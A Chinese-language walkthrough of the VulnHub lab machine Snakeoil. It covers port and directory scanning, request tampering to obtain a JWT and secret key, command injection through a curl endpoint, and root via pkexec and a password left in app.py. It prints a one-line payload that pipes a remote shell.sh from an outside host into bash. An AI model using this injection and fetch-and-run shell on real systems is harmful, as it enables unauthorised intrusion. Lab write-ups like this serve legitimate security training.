靶机下载地址: https://www.vulnhub.com/entry/digitalworldlocal-snakeoil,738/
教程链接地址: https://www.cnblogs.com/sainet/p/15688964.html

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 SNAKEOIL:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址
sudo arp-scan -l

Image

-> 靶机 ip:192.168.31.143

2 )确认靶机 ip 开放的端口信息
sudo nmap -p- 192.168.31.143

Image

-> 靶机开放端口 22,80,8080

# 网站信息收集

打开 http://192.168.31.102 进行信息收集

Image

dirsearch -u http://192.168.31.143

Image

-> 80 端口没有任何发现

打开 http://192.168.31.143:8080/ 进行信息收集

Image

dirsearch -u http://192.168.31.143:8080/

Image

-> 8080 端口存在以下目录

http://192.168.31.143:8080/login
http://192.168.31.143:8080/registration
http://192.168.31.143:8080/secret
http://192.168.31.143:8080/test
http://192.168.31.143:8080/users

# BURP 篡改数据包

查看目录: http://192.168.31.143:8080/login

Image

提示请求方法错了,抓包看下数据包:

Image

提示提交方法有问题,换其他的提交方法

Image

提示 username 字段不能为空,那就加上 username 字段

Image

-> 提示内容不理解,换其他目录查看

查看目录:http://192.168.31.143:8080/registration

Image

提示请求方法错了,抓包看下数据包:

Image

提示提交方法有问题,换其他的提交方法

Image

提示 username 字段不能为空,那就加上 username 字段

Image

-> 没啥效果,去访问其他页面看看 http://192.168.31.143:8080/users

Image

-> 猜测确实需要 username 和 password 两个字段

# Content-Type 字段利用

仔细观察数据包,发现缺少 Content-type 字段:
application/x-www-form-urlencoded: 窗体数据被编码为名称 / 值对。这是标准的编码格式。
multipart/form-data: 窗体数据被编码为一条消息,页上的每个控件对应消息中的一个部分。
text/plain: 窗体数据以纯文本形式进行编码,其中不含任何控件或格式字符。

访问目录:http://192.168.31.143:8080/registration
添加字段:Content-Type:application/x-www-form-urlencoded

Image

提示变了,password 字段不能为空,再加上 password 字段:

Image

注册成功,那就在 /login 页面登陆一下,要加上用户名和密码:

Image

再访问一些别的页面(现在是在登陆状态中):

Image

-> 没啥新发现

# 扩大信息面

用更大的字典又扫了一遍目录,发现两个新目录

http://192.168.31.143:8080/create
http://192.168.31.143:8080/run

Image

查看目录:http://192.168.31.143:8080/run

Image

提示需要修改请求方法,抓取数据包

Image

修改提交方法为 POST

Image

提示要以 url:port 形式提供要请求的 URL:

Image

格式换成 Content-Type: application/json, 在 ajax 中,如果没加 contentType:“application/json”,那么 data 就对应的是 json 对象;反之,如果加了 contentType:“application/json”,那么 ajax 发送的就是字符串。

Image

-> 现在又提示需要 secret key ,

# 伪造 access_token

访问一下 /secret 页面:

Image

登录是失败的,应该是缺少 cookie 的,之前注册成功后,登陆时返回一个 token 值:
“access_token”:“ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY1MjY4NTY1MCwianRpIjoiODhkNDllNzktNjRlNC00ZWZlLWIyZTItODhlOWJhN2NmNWQ2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QiLCJuYmYiOjE2NTI2ODU2NTAsImV4cCI6MTY1MjY4NjU1MH0.kwHX8k6JDWCCjoAHtReOPOe3H7CSshM5oXZYl2XpSDo”

但是填写 cookie 时是需要一个 key 值的,这个 key 值在尝试 access_token 时是不对的
翻阅网站,找到以下地址中网站中有个链接

Image

点进去看看,有一些配置信息链接,从中找到了 cookie 的名称

Image

再次提交 cookie,字段名字为 access_token_cookie:

Image

-> 得到 “secret_key”: “commandexecutionissecret”

1
2
3
4
5
6
7
8
9
10
# 重新梳理一下思路:
# 1 .访问registration,login页面,因为Get方式报错,所以改为了Post方式提示uname字段缺失,因此增加了该字段,但是无效果
# 2 .访问users页面,发现确实需要uname和password两个字段
# 3 .重新审查registration数据包,发现缺少Content-Type字段
# 4 .在registration添加字段:Content-Type:application/x-www-form-urlencoded 后成功提交了uname数据提示缺少password字段,添加后返回注册成功的消息
# 5 .在login中添加Content-Type与uname和password后登陆成功,返回了access_token
# 6 .访问run页面,发现需要提交url:port数据,修改Content-Type为json数据后,把url和port提交,提示需要secret_key
# 7.访问secret页面,发现返回错误,推测与login登陆后返回的token有关,但cookies的字段名是不知道的
# 8 .点击网站,搜寻到cookies的字段名为access_token_cookie,将cookies的字段名修改后重新提交到secret页面,返回了secret_key
# 9 .接下来需要访问run界面,并且把上述得到的secret_key加上

# CURL RCE 命令执行

访问 run 界面,加上 secret_key 字段

Image

返回了比较奇怪的字符串,直接搜索,发现这是 curl 命令执行后的回显

Image

相当于在 curl 后拼接命令,但是管道符号不起作用

Image

后面在加一个分号时成功得到了 whoami 信息,是 RCE 漏洞

Image

尝试往其中写入 shell: curl http://www.chentuo.asia/shell.sh | bash;

Image

尝试:`curl http://www.chentuo.asia/shell.sh | sh;``

Image

-> 登陆成功,拿到了 patrick 的权限

Image

# pkexec 提权

服务器存在 s 权限的 pkexec,并且有 gcc 编译器

Image

-> 通过 pkexec 进行提权,成功拿到了 root 权限

Image

# 配置文件泄露

看看有没有其他的提权方式,shutdown 可以无密码使用但没法提权
调用 root 权限的时候是需要 patrick 的密码的,但是我们没密码

Image

找找系统中的文件,看有没有线索,最后在~/flask_blog/app.py 文件中找到一个密码:NOreasonableDOUBTthisPASSWORDisGOOD
sudo su 使用此密码通过 patrick 来提到 root

Image

-> 提权成功,拿到了 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝